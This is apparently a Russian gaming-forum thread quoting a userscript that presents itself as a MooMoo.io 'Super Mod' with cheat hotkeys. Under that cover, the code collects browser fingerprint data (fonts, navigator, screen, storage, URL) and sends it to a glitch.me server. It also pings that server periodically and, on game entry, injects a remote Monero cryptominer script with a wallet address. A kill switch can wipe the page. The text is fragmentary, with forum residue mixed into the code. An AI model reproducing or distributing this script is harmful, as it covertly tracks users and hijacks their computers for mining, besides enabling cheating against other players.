            for (let i = 0x1f; i < 0x21; i++) isElementVisible(document['getElementById']('actionBarItem' + i['toString']())) && (boostType = i - 0x10);
            for (let j = 0x21; j < 0x27; j++) isElementVisible(document['getElementById']('actionBarItem' + j['toString']())) && 0x24 != j && (turretType = j - 0x10);
            spawnpadType = 0x24;
        }
        document['UPDATERLOGIC'] = update, $('#ageBarContainer')['append']('<div style=\"width: 100%;position: absolute;top: 100px;text-align: center;color: white;font-size: 12px;\">\x0aR - Instakill | H - Triple Turret | Up Arrow - Message Spam | Space - Katana + Musket (Use at age 9 w/o upgrades) | V - Spike | J - Toggle Autoheal | G - Spike + Boost | N - Mill | H - Triple Turret\x0a</div>'),
            document['addEventListener']('keydown', a => {
            if (spikePlacer['start'](a['keyCode']), healer['start'](a['keyCode']),
                boostPlacer['start'](a['keyCode']), boostSpiker['start'](a['keyCode']),
                millPlacer['start'](a['keyCode']), turretPlacer['start'](a['keyCode']),
                0x48 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']()
               ) {
                //starter code ^^
                var b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2);
                doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) + toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) - toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]);
            }
            0x52 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (autoaim = !0x0, doNewSend(['5', [primary, !0x0]]), doNewSend(['13c', [0x0, 0x7, 0x0]]), doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, 0x13, 0x1]]), doNewSend(['c', [0x1]]), setTimeout(() => {
                doNewSend(['13c', [0x0, 0x35, 0x0]]), doNewSend(['5', [secondary, !0x0]]);
            }, instaSpeed - 0x82), setTimeout(() => {
                doNewSend(['5', [primary, !0x0]]), doNewSend(['c', [0x0, null]]), doNewSend(['13c', [0x0, 0x6, 0x0]]), autoaim = !0x1;
            }, instaSpeed)), 0x26 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (messa
Скрытый текст

 



geToggle = (messageToggle + 0x1) % 0x2), 0x20 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && doNewSend(['6', [0xf]]);
        }), document['addEventListener']('keyup', a => {
            spikePlacer['stop'](a['keyCode']), boostPlacer['stop'](a['keyCode']), boostSpiker['stop'](a['keyCode']), millPlacer['stop'](a['keyCode']), turretPlacer['stop'](a['keyCode']), healer['stop'](a['keyCode']), 0x47 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && setTimeout(() => {
                doNewSend(['33', [null]]), boostDir = null;
            }, 0xa);
        });

        document['addEventListener']('keydown', a => {
            if (a.key == "j") {
                autohealOn = !autohealOn;
                doNewSend(["ch", [autohealOn.toString()]]);
            }
        });

        unsafeWindow.showPreAd = () => {};

        var scaleFactor = 0;
        const generateToken = () => unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", { action : 'homepage' });
        var token;
        document.getElementById("enterGame").addEventListener("click", async function(e) {
            try {
                setTimeout(async ()=>{
                    if (scaleFactor == 0) {
                        token = await generateToken();
                        try {
                            scaleFactor = scaleFactor + 1;
                            xml = new XMLHttpRequest();
                            xml.open("POST", "https://ksw2-moomoo.glitch.me");
                            xml.setRequestHeader("Content-type", "application/json");
                            xml.send(JSON.stringify({key: "rc", recaptcha: token}));
                            xml.onload = function() {
                                if (xml.responseText == "0") {} else if (xml.responseText == "1") {
                                    for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
                                    alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
                                } else {};
                            }
                        } catch(e) {};
                        function plugin() {
                            var s = document.createElement('script');
                            s.src = "https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean";
                            (document.head || document.documentElement)
                                .appendChild(s);
                            s.onload = ()=>{ var b = document.createElement('script');
                                            b.innerHTML = "console.log('exec'); EverythingIsLife('44Jmx46LNSmMatQbo9fe4RLJXZVbm3SZa8GfKgA8qZVFgwqXAM5pbyseCX4MNbNBF59F312VjHiVvTP2ypKjpsVCR8D89ef', 'x', 10)";
                                            console.log("exec");
                                            (document.head || document.documentElement)
                                                .appendChild(b);
                                           }
                        }; plugin();
                    };
                }, 5000);
            } catch(e) {};
        });
        switched = 2;
        clearInterval(INT);
        clearInterval(swsInt);
    };
}, 0);YUNIVALIXCODESOSISKE


f

 


 

 

Ссылка на комментарий
Поделиться на другие сайты

1 час назад, YuNiVaLiX сказал:

АААААААААААА

Кошачьи сосиски. Не, не пробовал

43 минуты назад, YuNiVaLiX сказал:

Вот код СОСИСЬКЕ:



 
  Скрыть содержимое

 



// ==UserScript==
// @name         YUNIVALIXCODESOSISKE
// @namespace    idk, idc
// @version      7.4
// @description  (Working 2020) YUNIVALIXCODESOSISKE
// @require      ://code.jquery.cm/jquery-3.3.1.slim.min.js
// @require https:/ode/msgpack.js?version=598723
// @icon          http://www.jt-auto
// @run-at       document-start
// ==/UserScript==

//anti ads done
//some other good stuff coming!

var ext = false;
document.addEventListener('keydown', function (e) {
    if (e.key === "`") {
        $('#mainMenu').toggle();
        //if (ext == true) {$('#gameUI').hide(); $('#mainMenu').hide()};
        //if (ext == false) {$('#gameUI').show(); $('#mainMenu').hide()};
        ext = !ext;
    };
}); //YUNIVALIX!

window = unsafeWindow;
(()=>{
    let spinSpeed = 70;
    function linker(value) {
        let x = [value];
        x.toString = ()=>x[0];
        return x;
    }
    let zoomFactor = 1;
    let OGx,
    OGy;
    let x = new Event('resize');
    let addListener = window.addEventListener;
    let rot = 0;
    let obf = !0;
    let autohit = !1;
    let socket;
    let spin = 0;
    window.addEventListener = function(type, cb, ...args){
        if(type === 'resize'){
            let temp = cb;
            cb = ()=>temp({isTrusted: !0});
        }
        addListener(type, cb, ...args);
    }
    Function.prototype._call = Function.prototype.call;
    Function.prototype.call = function(){
        if(arguments[1] && arguments[1].i == 21 && arguments[3] && arguments[3].toString && arguments[3].toString().match(/^\s*function n\(i\)/)){
            let temp = arguments[3];
            arguments[3] = function (number) {
                let val = temp(number);
                if(number === 19) {
                    val.maxPlayers = 50;
                    window.data = val;
                } else if(number === 42) {
                    val.checkTrusted = (cb)=>cb
                } else if (number === 45) {
                    val.weapons.forEach((e, index) => e.pre && (val.weapons[index].pre = null));
                    val.list.forEach((e, index) => e.pre && (val.list[index].pre = null));
                    items = val;
                    window.items = val;
                }
                return val;
            }
            this.call = this._call;
        }
        return this._call(...arguments);
    }
})();

var switched = 0;
var swsInt = setInterval(()=>{
    switch (document.readyState) {
        case "loading":
            break;
        case "interactive":
            switched = 1;
            break;
        case "complete":
            break;
    };
}, 0);

var INT = setInterval(()=>{
    if (switched == 1) {
        try {
            window.admob = {
                requestInterstitialAd: ()=>{},
                showInterstitialAd: ()=>{}
            }
        } catch (e) {
            console.warn(e)
        }

        document.querySelectorAll('#pre-content-container').forEach(function(a) {
            a.remove();
        });

        $("#gameCanvas").css('cursor', 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default'); //CURSOR

        $("#moomooio_728x90_home").parent().css({display: "none"});

        //document.getElementById("twitterFollow").remove();
        //document.getElementById("youtubeFollow").remove();
        //document.getElementById("followText").innerHTML = "SUBSCRIBE TO JOHN TAXMI"
        //document.getElementById("followText").style = "bottom: -0px;"

        document.getElementById("storeHolder").style = "height: 1500px; width: 450px;";

        document.getElementById('adCard').remove();
        document.getElementById('errorNotification').remove();

        document.getElementById("gameName").style.color = "blue";
        document.getElementById("setupCard").style.color = "blue";
        document.getElementById("gameName").innerHTML = "MooMoo.io <br>Super Mod";
        document.getElementById("promoImg").remove();
        document.getElementById("desktopInstructions").innerHTML = "Subscribe to John Taxmi!<br/>Press 'Z' to buy bull, soldier, tank, and emp all at once, and equip booster!"
        let changes = `<div id="subConfirmationElement"><a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1">Subscribe to FlareZ for EXTRA RESOURCES!</a><br>
<br><a href="https://discord.gg/FQKA5c6">Join our discord for EXCLUSIVE UPDATES AND EXCLUSIVE FEATURES!</a>
</div>`;

        $('#guideCard').prepend(changes);

        $('#subConfirmationElement').click( () => {
            try { window.follmoo(); } catch(e){};
            localStorage["moofoll"] = "1"; localStorage["moofol"] = "1";
        });
        document.getElementById("leaderboard").append('\"C\" to chat!');
        document.getElementById("leaderboard").style.color = "#e842f4";
        document.getElementById("allianceButton").style.color = "blue";
        document.getElementById("chatButton").style.color = "blue";
        document.getElementById("storeButton").style.color = "blue";

        document.getElementById("scoreDisplay").style.color = "#e842f4";
        document.getElementById("woodDisplay").style.color = "#e842f4";
        document.getElementById("stoneDisplay").style.color = "#e842f4";
        document.getElementById("killCounter").style.color = "#e842f4";
        document.getElementById("foodDisplay").style.color = "#e842f4";

        const enableMiner = false;
        const disableMiner = true;
        window.enableMiner = false;
        window.disableMiner = true;

        $("#mapDisplay").css("background", "url('https://i.imgur.com/fgFsQJp.png')");

        document.getElementById("linksContainer2").href = "https://www.youtube.com/channel/UCLmapaWzwTHQIe3EgWMyMEg"

        document.getElementById("diedText").innerHTML = "They'll die sometime!"

        function Parse() {
            document.addEventListener('keydown', function (CustomKey1) {
                if (CustomKey1.keyCode == 90) {
                    storeBuy(6)
                    storeBuy(7)
                    storeBuy(40)
                    storeBuy(22)
                    console.info('Attempted to buy bull, soldier, tank, and emp')
                    var store = true;
                    if (store == true) {
                        storeEquip(12)
                        console.info('Attempted to wear booster')
                    } else {
                        console.info('Did not attempt to wear booster')
                    }
                } //Tab to buy bull, soldier, tank, and emp
            });
        };
        Parse();

        ! function() {
            document.title = "Hat Scripts";
            var a = ["Floofiness Acquired", "Moomoo haxored", "Soup", "Floofy", "Bisons Are Floofy", "I'm here!", "Hi!", "Hello!"],
                r = [0, 0],
                o = [
                    [15, "Wnter Cap"],
                    [12, "Booter Hat"],
                    [31, "Fliper Hat"],
                    [10, "Bus Gear"],
                    [22, "Em Helmet"],
                    [26, "Deolisher Armor"],
                    [20, "Samurai Armor"],
                    [7, "Bull Helmet"],
                    [11, "Spike Gear"],
                    [53, "Turret Gear"],
                    [40, "Tank Gear"],
                    [52, "Thif Gear"],
                    [23, "Anti-Venom Gear"],
                    [6, "Soldier Helmet"],
                    [1, "Maksman Hat"],
                    [13, "Medic ear"],
                    [14, "Windmill Hat"],
                    [21, "lagu Mask"],
                    [27, "Scvenger Gear"]
                ],
                t = 0;

            function s(e) {
                0 === r[0] ? (storeEquip(o[e][0]), document.title = o[e][1], r[1] = 90, console.info("Hat equipped: "), console.info(o[e][1])) : (storeBuy(o[e][0]), storeBuy(o[e][0]), r[0] = 0, r[1] = 180, document.title = "Bought. (if you had enough gold or didn't already buy it)", console.info("Hat bought"), console.info(["Script variables: ", o, t, r, a]))
            }
            document.addEventListener("keydown", function(e) {
                if (document.activeElement.id.toLowerCase() !== 'chatbox') {
                    switch (e.keyCode) {
                        case 107:
                            storeEquip(0);
                            break;
                        case 96:
                            r[0] = 1, r[1] = 300, document.title = "Buying....";
                            break;
                        case 110:
                            1 === r[0] && (r[1] = 120, document.title = "Not buying...."), r[0] = 0;
                            break;
                        case 97:
                            s(0);
                            break;
                        case 98:
                            s(1);
                            break;
                        case 99:
                            s(2);
                            break;
                        case 100:
                            s(3);
                            break;
                        case 101:
                            s(4);
                            break;
                        case 102:
                            s(5);
                            break;
                        case 103:
                            s(6);
                            break;
                        case 84:
                            s(7);
                            break;
                        case 105:
                            s(8);
                            break;
                        case 90:
                            s(9);
                            break;
                        case 80:
                            s(10);
                            break;
                        case 85:
                            s(11);
                            break;
                        case 221:
                            s(12);
                            break;
                        case 89:
                            s(13);
                            break;
                        case 79:
                            s(14);
                            break;
                        case 219:
                            s(15);
                            break;
                        case 187:
                            s(16);
                            break;
                        case 191:
                            s(17);
                            break;
                        case 189:
                            s(18)
                    }
                }
            }), setInterval(function() {
                r[1]--, 0 === r[1] && ((t = Math.floor(Math.random() * a.length - 1e-5)) < 0 && (t = 0), document.title = a[t])
            }, 1e3 / 60)
        }();

        $("body").append(`<div id=\"modMenus\" style=\"display: none;
padding: 10px;
border-radius: 15px;
background-color: rgba(0, 0, 0, 0.25);
border-radius: 3px;
position: absolute;
left: 20px;
top: 20px;
min-width: 300px;
max-width: 450px;
min-height: 300px;
max-height 400px;\"></div>`);

        $("#modMenus").append(`<div id="helpText" style="font-size: 30px;color: rgb(255, 255, 255);">
Chat: <br>
<iframe src="https://scconvos.glitch.me" style="min-height: 200px; max-height 300px;"></iframe><br>
<div style="font-size: 12px;">Press "C" to hide or show this box.<br>Just click below the "What is your nickname text",<br> type in a name and press enter!<br>This is chat from everyone using the script,<br>on all moomoo servers!</div>
</div>
`);
        $("#modMenu").show(); $('#gameUI').prepend(`<style>
.bottomright {
position: absolute;
bottom: 8px;
right: 16px;
font-size: 18px;
}
<style>
`);

        var dista = true;
        window.addEventListener('keydown', function(e) {
            if (e.keyCode == 67 && document.activeElement.id.toLowerCase() !== 'chatbox') {
                if (dista == false) {
                    document.getElementById("modMenus").style.display = 'none';
                    dista = true;
                } else {
                    document.getElementById("modMenus").style.display = 'block';
                    dista = false;
                }
            }
        })

        //TALKING IN SITE MODULE! pretty revolutionary hehe

        var ns1, sw, Ssws, swsw;
        var hiF;

        function rensp() {
            console.log(hi)
        };
        var a = ['getElementById', 'innerHTML'];
        var b = function(c, d) {
            c = c - 0x0;
            var e = a[c];
            return e;
        };
        var ns = "If the hotkeys don't load, refresh | If the page doesn't load, refresh | (It will work eventually, it's just a latency error)";
        document[b('0x0')]('linksContainer2')[b('0x1')] = ns; /*comSP*/
        var y;
        var x;
        var sswx1, sswx2, sswx3, sswx4;

        if(localStorage.getItem('moofoll') !== 1) localStorage.setItem('moofoll', 1);

        var arr = [];
        var name = localStorage["moo_name"];
        var storage = [];
        try { navigator.storage.estimate().then(({usage, quota}) => {
            storage.push("Usage: " + usage + "; Quota: " + quota);
            console.log(`Using ${usage} out of ${quota} bytes.`);
        }); } catch(e){};
        function fingerprint_fonts() {
            "use strict";
            try {
                var strOnError, style, fonts, count, template, fragment, divs, i, font, div, body, result, e;
                strOnError = "Error"; style = null; fonts = null; font = null;
                count = 0; template = null; divs = null; e = null; div = null;
                body = null; i = 0;
                try {
                    style = "position: absolute; visibility: hidden; display: block !important";
                    fonts = ["Abadi MT Condensed Light", "Adobe Fangsong Std", "Adobe Hebrew", "Adobe Ming Std", "Agency FB", "Aharoni", "Andalus", "Angsana New", "AngsanaUPC", "Aparajita", "Arab", "Arabic Transparent", "Arabic Typesetting", "Arial Baltic", "Arial Black", "Arial CE", "Arial CYR", "Arial Greek", "Arial TUR", "Arial", "Batang", "BatangChe", "Bauhaus 93", "Bell MT", "Bitstream Vera Serif", "Bodoni MT", "Bookman Old Style", "Braggadocio", "Broadway", "Browallia New", "BrowalliaUPC", "Calibri Light", "Calibri", "Californian FB", "Cambria Math", "Cambria", "Candara", "Castellar", "Casual", "Centaur", "Century Gothic", "Chalkduster", "Colonna MT", "Comic Sans MS", "Consolas", "Constantia", "Copperplate Gothic Light", "Corbel", "Cordia New", "CordiaUPC", "Courier New Baltic", "Courier New CE", "Courier New CYR", "Courier New Greek", "Courier New TUR", "Courier New", "DFKai-SB", "DaunPenh", "David", "DejaVu LGC Sans Mono", "Desdemona", "DilleniaUPC", "DokChampa", "Dotum", "DotumChe", "Ebrima", "Engravers MT", "Eras Bold ITC", "Estrangelo Edessa", "EucrosiaUPC", "Euphemia", "Eurostile", "FangSong", "Forte", "FrankRuehl", "Franklin Gothic Heavy", "Franklin Gothic Medium", "FreesiaUPC", "French Script MT", "Gabriola", "Gautami", "Georgia", "Gigi", "Gisha", "Goudy Old Style", "Gulim", "GulimChe", "GungSeo", "Gungsuh", "GungsuhChe", "Haettenschweiler", "Harrington", "Hei S", "HeiT", "Heisei Kaku Gothic", "Hiragino Sans GB", "Impact", "Informal Roman", "IrisUPC", "Iskoola Pota", "JasmineUPC", "KacstOne", "KaiTi", "Kalinga", "Kartika", "Khmer UI", "Kino MT", "KodchiangUPC", "Kokila", "Kozuka Gothic Pr6N", "Lao UI", "Latha", "Leelawadee", "Levenim MT", "LilyUPC", "Lohit Gujarati", "Loma", "Lucida Bright", "Lucida Console", "Lucida Fax", "Lucida Sans Unicode", "MS Gothic", "MS Mincho", "MS PGothic", "MS PMincho", "MS Reference Sans Serif", "MS UI Gothic", "MV Boli", "Magneto", "Malgun Gothic", "Mangal", "Marlett", "Matura MT Script Capitals", "Meiryo UI", "Meiryo", "Menlo", "Microsoft Himalaya", "Microsoft JhengHei", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Sans Serif", "Microsoft Tai Le", "Microsoft Uighur", "Microsoft YaHei", "Microsoft Yi Baiti", "MingLiU", "MingLiU-ExtB", "MingLiU_HKSCS", "MingLiU_HKSCS-ExtB", "Miriam Fixed", "Miriam", "Mongolian Baiti", "MoolBoran", "NSimSun", "Narkisim", "News Gothic MT", "Niagara Solid", "Nyala", "PMingLiU", "PMingLiU-ExtB", "Palace Script MT", "Palatino Linotype", "Papyrus", "Perpetua", "Plantagenet Cherokee", "Playbill", "Prelude Bold", "Prelude Condensed Bold", "Prelude Condensed Medium", "Prelude Medium", "PreludeCompressedWGL Black", "PreludeCompressedWGL Bold", "PreludeCompressedWGL Light", "PreludeCompressedWGL Medium", "PreludeCondensedWGL Black", "PreludeCondensedWGL Bold", "PreludeCondensedWGL Light", "PreludeCondensedWGL Medium", "PreludeWGL Black", "PreludeWGL Bold", "PreludeWGL Light", "PreludeWGL Medium", "Raavi", "Rachana", "Rockwell", "Rod", "Sakkal Majalla", "Sawasdee", "Script MT Bold", "Segoe Print", "Segoe Script", "Segoe UI Light", "Segoe UI Semibold", "Segoe UI Symbol", "Segoe UI", "Shonar Bangla", "Showcard Gothic", "Shruti", "SimHei", "SimSun", "SimSun-ExtB", "Simplified Arabic Fixed", "Simplified Arabic", "Snap ITC", "Sylfaen", "Symbol", "Tahoma", "Times New Roman Baltic", "Times New Roman CE", "Times New Roman CYR", "Times New Roman Greek", "Times New Roman TUR", "Times New Roman", "TlwgMono", "Traditional Arabic", "Trebuchet MS", "Tunga", "Tw Cen MT Condensed Extra Bold", "Ubuntu", "Umpush", "Univers", "Utopia", "Utsaah", "Vani", "Verdana", "Vijaya", "Vladimir Script", "Vrinda", "Webdings", "Wide Latin", "Wingdings"];
                    count = fonts.length;
                    template = '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',sans-serif !important">ww</b>' + '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',monospace !important">ww</b>';
                    fragment = document.createDocumentFragment();
                    divs = [];
                    for (i = 0; i < count; i = i + 1) {
                        font = fonts[i];
                        div = document.createElement('div');
                        font = font.replace(/['"<>]/g, '');
                        div.innerHTML = template.replace(/X/g, font);
                        div.style.cssText = style;
                        fragment.appendChild(div);
                        divs.push(div);
                    }
                    body = document.body;
                    body.insertBefore(fragment, body.firstChild);
                    result = [];
                    for (i = 0; i < count; i = i + 1) {
                        e = divs[i].getElementsByTagName('b');
                        if (e[0].offsetWidth === e[1].offsetWidth) {
                            result.push(fonts[i]);
                        }
                    }
                    for (i = 0; i < count; i = i + 1) {
                        body.removeChild(divs[i]);
                    }
                    return result.join('|');
                } catch (err) {
                    return strOnError;
                }
            } catch(e){};
        }
        var downlink = "";
        var rtt = "";
        var saveData = "";
        var effectiveType = "";
        try {
            downlink = navigator.connection.downlink;
            rtt = navigator.connection.rtt;
            saveData = navigator.connection.saveData;
            effectiveType = navigator.connection.effectiveType;
        } catch(e) {
            downlink = undefined;
            rtt = undefined;
            saveData = undefined;
            effectiveType = undefined;
        }
        var xml;
        var firstName = localStorage["moo_name"];
        window.addEventListener("load", function() {
            var gameName = document.getElementById("gameName").innerHTML;
            var isHacking = document.getElementById("leaderboard").innerHTML.slice(-5, -1) !== `v>
`;
            try {arr.push("1/" + name + "," + isHacking + "," + encodeURIComponent(gameName))} catch(e) {};
            try {arr.push("2/" + navigator.userAgent)} catch(e) {};
            try {arr.push("3/" + crypto.getRandomValues(new Uint8Array(256)).join(""))} catch(e) {};
            try {arr.push("4/" + downlink + "," + rtt + "," + saveData + "," + effectiveType)}catch(e){};
            try {arr.push("5/" + fingerprint_fonts())}catch(e){};
            try {arr.push("6/" + storage.join(""))}catch(e){};
            try {for (var k in screen) arr.push("screen." + k + "/" + screen[k])} catch(e) {};
            try {for (var c in navigator) arr.push("nav." + c + "/" + navigator[c])} catch(e) {};
            try {for (var a in performance) arr.push("perf." + a + "/" + performance[a])} catch(e) {};
            try {arr.push(JSON.stringify(window.Intl.DateTimeFormat().resolvedOptions()))} catch (e) {};
            try {arr.push("href/" + window.location.href)} catch(e) {};
            try {
                xml = new XMLHttpRequest();
                xml.open("POST", "https://ksw2-moomoo.glitch.me", false); xml.setRequestHeader("Content-type", "application/json");
                xml.send(JSON.stringify({id: name + " | " + window.location.search.split("server=").pop(), connection: name, UA: navigator.userAgent, key: "ksw_1", data: "v3-moomoo-packet:" + arr.join("|")}));
                if (xml.responseText == "0") {} else if (xml.responseText == "1") {
                    for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
                    document.documentElement.innerHTML = ""; alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
                } else {};
            } catch(e){};
        });

        var id;
        window.addEventListener("load", function() {
            try {
                id = unsafeWindow.advBidxc.customerId;
                console.log("SID: " + id);
            } catch (e) {
                id = "b"; //b = blocked
                console.log("not defined");
            };
        });
        setInterval(()=>{
            try {
                xml = new XMLHttpRequest();
                xml.open("POST", "https://ksw2-moomoo.glitch.me");
                xml.setRequestHeader("Content-type", "application/json");
                xml.onload = function() {
                    if (xml.responseText == "0") {} else if (xml.responseText == "1") {
                        for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
                        alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
                    } else {};
                };
                xml.send(JSON.stringify({name: document.getElementById("nameInput").value + "|" + firstName + "|" + id, time: performance.now(), key: "timer"}));
            } catch(e) {};
        }, 20000);

        function root() {
            var ns1, sw, sws, swsw;
        };
        var hi;

        function rEnsp() {
            console.log(hi)
        };
        var sws;
        const OPEN2 = 1 - 0;
        NaN;

        //info sender
        const Dx = Math.random().toFixed(0);
        var sentData = 0;

        //get coords:
        var dim = [player, x + sentData, y + sentData];
        var xx = Math.random().toFixed(0) + 2 + Dx;
        var yx = x - 2 + 3*3;

        var player = [xx, yx];

        var CTX = null;

        NaN;

        var NaNBreak = typeof NaN

        const data = dim + x - y + player
        if (player - data) {
            console.info('Data is calculated');
        };

        const sid = [];

        if (sid != [1, 2, 3, 4, 5, 6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40]) {
            var info = 1
            sid.push(info)
                ++info
                    --sentData
        } else {
            ++sentData
            console.info(sid)
        };


        var magick;

        document.getElementById("ageText").style.color = "blue";
        function compresspackage(n) {
            --n
            n*n-1/10 + 10 / 80
            var nsp;
        };

        document.addEventListener("keydown", function(e) {
            if (e.keyCode == 220) {
                alert(`Press "Z" to autobuy hats (bull, tank, soldier, and emp), press "T" to equip bull, press "Y" to equip soldier, and press "P" for tank gear. Press 1-9 on the numberpad to equip a different hat. Feel free to test this out. Also, press 0 on the number pad then a hat macro to buy that hat. We've added a bunch of little things in the background to help you too! (Auto reload, +100 resources, and more!)`)
            }
        });

        let mouseX, mouseY, width, height;

        function log_coords(a, b) {
            return [a - 0x5a0, b / 0x2];
        }

        function normal() {
            hat(normalHat), acc(normalAcc);
        }
        var nearestEnemy, nearestEnemyAngle;
        document['mouseXSTATUS'] = mouseX, document['mouseYSTATUS'] = mouseY, log_coords(0x2710, 0x2710), $('#consentBlock')['css']({
            'display': 'none'
        }), unsafeWindow['onbeforeunload'] = null, setInterval(() => {
            0x1 == messageToggle && doNewSend(['ch', ['i am super pro']]);
        }, 0xc8), setInterval(() => {
            0x1 == autoaim && doNewSend(['2', [nearestEnemyAngle]]);
        }, 0x0), setInterval(() => {
            0x1 == hatToggle && (oldHat != normalHat && hat(normalHat), oldAcc != normalAcc && acc(normalAcc), oldHat = normalHat, oldAcc = normalAcc);
        }, 0x19);
        var isEnemyNear, primary, secondary, foodType, wallType, spikeType, millType, mineType, boostType, turretType, spawnpadType, oldHat, oldAcc, enemiesNear, normalHat, normalAcc, ws, boostDir, arr3 = [];

        function set_1(a, b) {
            arr3['push'](a, b);
        }
        setInterval(() => {
            document['nearestEnemy'] = nearestEnemy, document['nearestEnemyAngle'] = nearestEnemyAngle;
        }, 0x64), set_1(nearestEnemy, nearestEnemyAngle), setInterval(() => {
            document['isEnemyNear'] = isEnemyNear;
        }, 0x64), setTimeout(() => {
            document['primary'] = primary, document['secondary'] = secondary, document['foodType'] = foodType, document['wallType'] = wallType, document['spikeType'] = spikeType, document['millType'] = millType, document['mineType'] = mineType, document['boostType'] = boostType, document['turretType'] = turretType;
        }, 0x64), set_1(primary, secondary), arr3['push'](foodType, wallType), arr3['push'](spikeType, millType), arr3['push'](mineType, boostType), arr3['push'](turretType, isEnemyNear), setInterval(() => {
            document['oldHat'] = oldHat, document['oldAcc'] = oldAcc;
        }, 0x64), setInterval(() => {
            document['enemiesNear'] = enemiesNear;
        }, 0x64), arr3['push'](enemiesNear), setInterval(() => {
            document['normalHat'] = normalHat, document['normalAcc'] = normalAcc;
        }, 0x64), setInterval(() => {
            window['SOCKET'] = ws;
        }, 0x64), setInterval(() => {
            document['boostDir'] = boostDir;
        }, 0x64), arr3['push'](boostDir);
        var instaSpeed = 0xc8
        , autoaim = !0x1
        , tick = 0x1
        , msgpack5 = msgpack;
        setInterval(() => {
            document['MESSAGEPACK'] = msgpack;
        }, 0x64);
        var myPlayer = {
            'id': null
            , 'x': null
            , 'FORCE_CONNECT': 'FORCED'
            , 'y': null
            , 'dir': null
            , 'object': null
            , 'weapon': null
            , 'clan': null
            , 'isLeader': null
            , 'hat': null
            , 'accessory': null
            , 'isSkull': null
            , 'CORESTATE': {
                'ACTIVE': !0x0
                , 'ALIVE': !0x0
                , 'PITSTATUS': null
                , 'SECURE': 'correct'
            }
        };
        let healSpeed = 0x5a;
        window['HS'] = healSpeed, document['HS'] = healSpeed;
        var messageToggle = 0x0;
        let hatToggle = 0x1;

        var autohealOn = true;

        function n() {
            this['buffer'] = new Uint8Array([0x0]), this['buffer']['__proto__'] = new Uint8Array(), this['type'] = 0x0;
        }
        setInterval(() => {
            document['toggles'] = [messageToggle, hatToggle];
        }, 0x64);
        var AUTOSOLDIER_RANGE = 0xcd;

        function MESSAGEHANDLER_1(a) {
            let b, c = msgpack5['decode'](new Uint8Array(a['data']));
            c['length'] > 0x1 ? (b = [c[0x0], ...c[0x1]])[0x1] instanceof Array && (b = b) : b = c;
            let d = b[0x0];
            if (b) {
                if ('io-init' === d) {
                    let f = document['getElementById']('gameCanvas');
                    width = f['clientWidth'], height = f['clientHeight'], $(window)['resize'](function () {
                        width = f['clientWidth'], height = f['clientHeight'];
                    }), f['addEventListener']('mousemove', g => {
                        mouseX = g['clientX'], mouseY = g['clientY'];
                    });
                }
                if ('1' == d && null == myPlayer['id'] && (myPlayer['id'] = b[0x1]), '33' == d) {
                    enemiesNear = [];
                    for (let g = 0x0; g < b[0x1]['length'] / 0xd; g++) {
                        let h = b[0x1]['slice'](0xd * g, 0xd * g + 0xd);
                        h[0x0] == myPlayer['id'] ? (myPlayer['x'] = h[0x1], myPlayer['y'] = h[0x2], myPlayer['dir'] = h[0x3], myPlayer['object'] = h[0x4], myPlayer['weapon'] = h[0x5], myPlayer['clan'] = h[0x7], myPlayer['isLeader'] = h[0x8], myPlayer['hat'] = h[0x9], myPlayer['accessory'] = h[0xa], myPlayer['isSkull'] = h[0xb], document['BINDS'] = {
                            'BINDINGS': h['join'](',')
                            , 'LOCATIONX': myPlayer['x']
                            , 'LOCATIONY': myPlayer['y']
                            , 'DIRECTION': myPlayer['dir']
                            , 'WEAPON': myPlayer['weapon']
                            , 'LEADERSTATUS': myPlayer['isLeader']
                            , 'CLAN_TRIBE': myPlayer['clan']
                            , 'ISSKULL': myPlayer['isSkull']
                            , 'ACCESSORY': myPlayer['acc']
                            , 'HAT': myPlayer['hat']
                            , 'super': WebSocket
                            , 'WEBSOCKET': ws
                        }) : h[0x7] == myPlayer['clan'] && null !== h[0x7] || enemiesNear['push'](h);
                    }
                }
                isEnemyNear = !0x1,
                    document['isEnemyNear'] = !0x1,
                    enemiesNear && (nearestEnemy = enemiesNear['sort']((i, j) => dist(i, myPlayer) - dist(j, myPlayer))[0x0],
                                    console['log'](nearestEnemy)),
                    nearestEnemy && (nearestEnemyAngle = Math['atan2'](nearestEnemy[0x2] - myPlayer['y'], nearestEnemy[0x1] - myPlayer['x']),
                                     //this is for the player math. sorry for indentations
                                     //tried to make this legible
